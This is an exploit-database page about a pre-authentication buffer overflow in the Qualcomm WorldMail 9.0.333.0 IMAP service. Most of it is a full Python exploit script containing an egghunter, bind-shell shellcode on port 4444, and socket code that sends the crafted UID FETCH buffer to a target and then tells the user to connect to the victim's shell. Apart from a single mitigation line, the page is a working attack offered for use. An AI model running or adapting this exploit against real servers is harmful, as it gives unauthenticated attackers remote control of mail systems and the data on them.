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Pre Authentication Buffer Overflow in Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service - exploit.company
header-logo
Suggest Exploit
vendor:
WorldMail
by:
Muhammad Alharmeel
7.5
CVSS
HIGH
Buffer Overflow
CWE
Product Name: WorldMail
Affected Version From: 9.0.333.0
Affected Version To: 9.0.333.0
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows Server 2003 SP1

Pre Authentication Buffer Overflow in Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service

Pre Authentication Buffer Overflow in Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service. The SEH gets overwritten at 749 bytes when using the UID command. Only 79 bytes left after SEH, so the shellcode was placed before SEH and a backward jump is used after SEH to execute the shellcode. Shellcode used is shell_bind_tcp LPORT*4444 EXITFUNC*seh, with bad characters 0x00 and 0x7b.

Mitigation:

Apply the latest security patches and updates from the vendor.
Source

Exploit-DB raw data:

#!/usr/bin/python
# Tested on 6.1.19.0

import sys,socket
 



banner = """
   
####################################################################################
###                                                                              ###
###        Coded by: Muhammad Alharmeel              ###
###                                                                              ###
####################################################################################

*************************************************************************************  
* Details:                                                                          *
*                                                                                   *
* - PRE AUTHENTICATION Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service            *
*   Preauthentication Buffer Overflow.                                              *
* - Tested on: Windows Server 2003 SP1.                                             *
* - SEH gets overwritten at 749 bytes when using UID command.                       *
* Only 79 bytes left after SEH, So the shellcode was placed before SEH              *
* and backward jump is used after SEH to execute the shellcode.                     *
* - Shellcode: shell_bind_tcp LPORT*4444 EXITFUNC*seh , Bad charcters are 0x00 0x7b *
*************************************************************************************

"""


print banner



if len(sys.argv)!=3:
        banner()
        print "\nUsage: ./worldmail_uid.py <IP> <PORT>\n"
        sys.exit(0)




egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" # this is the marker/tag: w00t

shellcode = "w00tw00t" + ("\xb8\x3b\xe5\xd0\x36\xda\xd3\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x56\x31\x42\x13\x83\xc2\x04\x03\x42\x34\x07\x25\xca\xa2\x4e"
"\xc6\x33\x32\x31\x4e\xd6\x03\x63\x34\x92\x31\xb3\x3e\xf6\xb9"
"\x38\x12\xe3\x4a\x4c\xbb\x04\xfb\xfb\x9d\x2b\xfc\xcd\x21\xe7"
"\x3e\x4f\xde\xfa\x12\xaf\xdf\x34\x67\xae\x18\x28\x87\xe2\xf1"
"\x26\x35\x13\x75\x7a\x85\x12\x59\xf0\xb5\x6c\xdc\xc7\x41\xc7"
"\xdf\x17\xf9\x5c\x97\x8f\x72\x3a\x08\xb1\x57\x58\x74\xf8\xdc"
"\xab\x0e\xfb\x34\xe2\xef\xcd\x78\xa9\xd1\xe1\x75\xb3\x16\xc5"
"\x65\xc6\x6c\x35\x18\xd1\xb6\x47\xc6\x54\x2b\xef\x8d\xcf\x8f"
"\x11\x42\x89\x44\x1d\x2f\xdd\x03\x02\xae\x32\x38\x3e\x3b\xb5"
"\xef\xb6\x7f\x92\x2b\x92\x24\xbb\x6a\x7e\x8b\xc4\x6d\x26\x74"
"\x61\xe5\xc5\x61\x13\xa4\x81\x46\x2e\x57\x52\xc0\x39\x24\x60"
"\x4f\x92\xa2\xc8\x18\x3c\x34\x2e\x33\xf8\xaa\xd1\xbb\xf9\xe3"
"\x15\xef\xa9\x9b\xbc\x8f\x21\x5c\x40\x5a\xe5\x0c\xee\x34\x46"
"\xfd\x4e\xe4\x2e\x17\x41\xdb\x4f\x18\x8b\x6a\x48\xd6\xef\x3f"
"\x3f\x1b\x10\xae\xe3\x92\xf6\xba\x0b\xf3\xa1\x52\xee\x20\x7a"
"\xc5\x11\x03\xd6\x5e\x86\x1b\x30\x58\xa9\x9b\x16\xcb\x06\x33"
"\xf1\x9f\x44\x80\xe0\xa0\x40\xa0\x6b\x99\x03\x3a\x02\x68\xb5"
"\x3b\x0f\x1a\x56\xa9\xd4\xda\x11\xd2\x42\x8d\x76\x24\x9b\x5b"
"\x6b\x1f\x35\x79\x76\xf9\x7e\x39\xad\x3a\x80\xc0\x20\x06\xa6"
"\xd2\xfc\x87\xe2\x86\x50\xde\xbc\x70\x17\x88\x0e\x2a\xc1\x67"
"\xd9\xba\x94\x4b\xda\xbc\x98\x81\xac\x20\x28\x7c\xe9\x5f\x85"
"\xe8\xfd\x18\xfb\x88\x02\xf3\xbf\xb7\xf3\xc9\x55\x2f\xaa\xb8"
"\x17\x2d\x4d\x17\x5b\x48\xce\x9d\x24\xaf\xce\xd4\x21\xeb\x48"
"\x05\x58\x64\x3d\x29\xcf\x85\x14")


buffer   = "A" * 292                    #Junk
buffer  +=  shellcode                   #Shellcode of 368 bytes to spawn a shell listening on port 4444 
buffer  += "\x90" *81                   #Nop Sled to fill the rest of the buffer after the shellcode 
buffer  += "\xEB\x06\x90\x90"           #Short JMP of 6 bytes.
buffer  += "\x95\xcb\x0d\x60"           #Memory Address of POP POP RETN sequence at module MsccMgr.dll @ windows server 2003.
buffer  += egghunter                    #Egg hunter to search for the tag "w00tw00t" and executes the code after it
buffer  += "}" *32                      #Junk



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
	s.connect((sys.argv[1],int(sys.argv[2])))
except:
	print "Can\'t connect to server!\n"
	sys.exit(0)



print "[+] Connecting to victim !"
data=s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Sending evil buffer..."
s.send('A013 UID FETCH 4827313:4827313 '+ buffer + "\r\n")
s.close()
print "[+] Exploitation Successful\n"
print "[+] Please Connect to port 4444 on victim IP now !\n"